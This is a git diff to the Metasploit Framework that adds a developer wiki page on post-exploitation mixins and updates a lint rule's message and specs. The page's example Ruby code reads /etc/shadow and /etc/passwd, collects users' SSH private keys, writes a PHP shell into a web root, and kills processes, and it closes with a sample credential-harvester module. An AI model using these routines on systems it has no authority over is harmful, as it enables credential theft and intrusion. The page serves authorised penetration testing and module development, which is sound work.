diff --git a/docs/metasploit-framework.wiki/Post-Mixins.md b/docs/metasploit-framework.wiki/Post-Mixins.md new file mode 100644 index 0000000000..099d67a2b5 --- /dev/null +++ b/docs/metasploit-framework.wiki/Post-Mixins.md @@ -0,0 +1,192 @@ +# Post Exploitation Mixins + +Post exploitation mixins provide a consistent API for interacting with compromised systems across different session types (Meterpreter, shell, PowerShell). Located in `lib/msf/core/post/`, these mixins abstract platform and session type differences. + +## Msf::Post::Common + +Core utilities for command execution and session interaction. + +```ruby +include Msf::Post::Common + +# Modern API - use create_process for commands with arguments +output = create_process('grep', args: ['-r', pattern, '/var/log'], time_out: 30, opts: { 'Hidden' => true }) + +# Legacy API - cmd_exec only for static command strings +hostname = cmd_exec('hostname') + +# Environment variables +env_vars = get_envs('HOME', 'USER', 'PATH') # Returns hash of env vars +home = get_env('HOME') # Single variable + +# Check command availability +if command_exists?('python3') + version = create_process('python3', args: ['--version']) +end + +# Session information +target = "#{rhost}:#{rport}" # Or use: peer +``` + +## Msf::Post::File + +Cross-platform file system operations. + +```ruby +include Msf::Post::File + +# Navigation and listing +current = pwd +cd('/tmp') +files = dir('/etc') # or ls('/etc') + +# File checks +if file?('/etc/passwd') && readable?('/etc/passwd') + content = read_file('/etc/passwd') + store_loot('passwd', 'text/plain', session, content) +end + +if directory?('/var/www') && writable?('/var/www') + write_file('/var/www/shell.php', payload) +end + +# File operations +mkdir('/tmp/staging') # Auto-registered for cleanup +data = read_file('/etc/shadow') +write_file('/tmp/output.txt', data) +hash = file_remote_digestmd5('/bin/bash') + +# Path expansion +expanded = expand_path('$HOME/.ssh/id_rsa') # Unix +expanded = expand_path('%APPDATA%\\data') # Windows +``` + +## Msf::Post::Process + +Process enumeration and manipulation. + +```ruby +include Msf::Post::Process + +# Enumerate processes +processes = get_processes +processes.each { |p| print_line("#{p['pid']}: #{p['name']}") } + +# Find specific processes +nginx_pids = pidof('nginx') +if nginx_pids.any? + print_good("Found nginx: #{nginx_pids.join(', ')}") + nginx_pids.each { |pid| kill_process(pid) } +end + +# Check process existence +if has_pid?(1234) + print_good("Process 1234 is running") +end +``` + +## Msf::Post::Unix + +Unix/Linux-specific utilities. + +```ruby +include Msf::Post::Unix + +# Privilege checking +if is_root? + print_good("Running as root") +else + print_warning("Running as #{whoami}") +end + +# User enumeration +users = get_users +users.each do |u| + print_line("#{u['name']} (UID: #{u['uid']}, Shell: #{u['shell']})") +end +admin_users = users.select { |u| u['uid'].to_i == 0 } + +# Group enumeration +groups = get_groups +sudo_group = groups.find { |g| g['name'] =~ /sudo|wheel/ } +print_good("Sudo users: #{sudo_group['users']}") if sudo_group + +# Find SSH keys and interesting files +ssh_keys = enum_user_directories +ssh_keys.each do |key| + content = read_file(key) + store_loot('ssh.key', 'text/plain', session, content, key) +end +``` + +## Platform-Specific Mixins + +### Msf::Post::Windows +Windows-specific operations including registry manipulation, service management, and Windows API access. See Windows-specific documentation. + +### Msf::Post::Linux +Linux-specific system information gathering and kernel utilities. + +### Msf::Post::OSX +macOS-specific utilities and system interaction methods. + +### Msf::Post::Android +Android device interaction and data collection methods. + +### Msf::Post::Hardware +Hardware interaction utilities (e.g., USB devices, serial ports). + +## Example Module + +```ruby +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Credential Harvester', + 'Description' => 'Collects credentials from Linux system', + 'License' => MSF_LICENSE, + 'Author' => ['Your Name'], + 'Platform' => ['linux'], + 'SessionTypes' => ['meterpreter', 'shell'] + )) + end + + def run + print_status("Harvesting credentials on #{peer}") + + if is_root? + # Root access - collect shadow file + if readable?('/etc/shadow') + shadow = read_file('/etc/shadow') + store_loot('shadow', 'text/plain', session, shadow, '/etc/shadow') + end + end + + # Collect SSH keys + ssh_keys = enum_user_directories + ssh_keys.each do |key_path| + key = read_file(key_path) + store_loot('ssh.key', 'text/plain', session, key, key_path) + end + + # Check for interesting processes + if pidof('sshd').any? + print_good("SSH daemon running") + end + end +end +``` + +## Best Practices + +- **Use `create_process`** for commands with arguments: `create_process('ls', args: ['-la', path])` +- **Use `cmd_exec`** only for static strings: `cmd_exec('hostname')` +- **Check before acting**: Use `file?()`, `readable?()`, `writable?()` before file operations +- **Handle errors**: Wrap operations in `begin/rescue` blocks +- **Register cleanup**: Files created with `write_file()` are auto-registered; use `register_file_for_cleanup()` for others +- **Store loot properly**: Use `store_loot()` to save collected data +- **Check session type**: Some operations behave differently on Meterpreter vs shell sessions + diff --git a/docs/navigation.rb b/docs/navigation.rb index 52c62f6f1e..280382dae3 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -597,6 +597,10 @@ NAVIGATION_CONFIG = [ }, ] }, + { + path: 'Post-Mixins.md', + title: 'PostMixins' + }, { path: 'How-to-log-in-Metasploit.md', title: 'Logging' diff --git a/lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb b/lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb index ac307ebbdf..9db0a1f041 100644 --- a/lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb +++ b/lib/rubocop/cop/lint/detect_outdated_cmd_exec_api.rb @@ -25,7 +25,7 @@ module RuboCop # create_process(binary, args: args_array, time_out: timeout) class DetectOutdatedCmdExecApi < Base MSG = 'Do not use cmd_exec with separate arguments. ' \ - "Use create_process with an args array instead use: `create_process(executable, args: [], time_out: 15, opts: {})`" + "Use create_process with an args array instead, see https://docs.metasploit.com/docs/development/developing-modules/libraries/post-mixins.html#msfpostcommon" # Called for every method in the code # Checks if it's a cmd_exec call with separate arguments and registers an offense if so diff --git a/spec/rubocop/cop/lint/detect_outdated_cmd_exec_api_spec.rb b/spec/rubocop/cop/lint/detect_outdated_cmd_exec_api_spec.rb index 28470023e0..6d8111f1b3 100644 --- a/spec/rubocop/cop/lint/detect_outdated_cmd_exec_api_spec.rb +++ b/spec/rubocop/cop/lint/detect_outdated_cmd_exec_api_spec.rb @@ -11,28 +11,28 @@ RSpec.describe RuboCop::Cop::Lint::DetectOutdatedCmdExecApi, :config do it 'registers an offense when cmd_exec is called with separate arguments' do expect_offense(<<~RUBY) cmd_exec('cmd.exe', '/c echo hello') - ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead use: `create_process(executable, args: [], time_out: 15, opts: {})` + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead, see https://docs.metasploit.com/docs/development/developing-modules/libraries/post-mixins.html RUBY end it 'registers an offense when cmd_exec is called with variable arguments' do expect_offense(<<~RUBY) cmd_exec(binary, args, timeout) - ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead use: `create_process(executable, args: [], time_out: 15, opts: {})` + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead, see https://docs.metasploit.com/docs/development/developing-modules/libraries/post-mixins.html RUBY end it 'registers an offense when cmd_exec is called with command and args string' do expect_offense(<<~RUBY) cmd_exec("ls", "-la /tmp") - ^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead use: `create_process(executable, args: [], time_out: 15, opts: {})` + ^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead, see https://docs.metasploit.com/docs/development/developing-modules/libraries/post-mixins.html RUBY end it 'registers an offense when cmd_exec is called with command and timeout without explicit nil' do expect_offense(<<~RUBY) cmd_exec('cmd.exe', "/c \#{rasdial_cmd}", 60) - ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead use: `create_process(executable, args: [], time_out: 15, opts: {})` + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Lint/DetectOutdatedCmdExecApi: Do not use cmd_exec with separate arguments. Use create_process with an args array instead, see https://docs.metasploit.com/docs/development/developing-modules/libraries/post-mixins.html RUBY end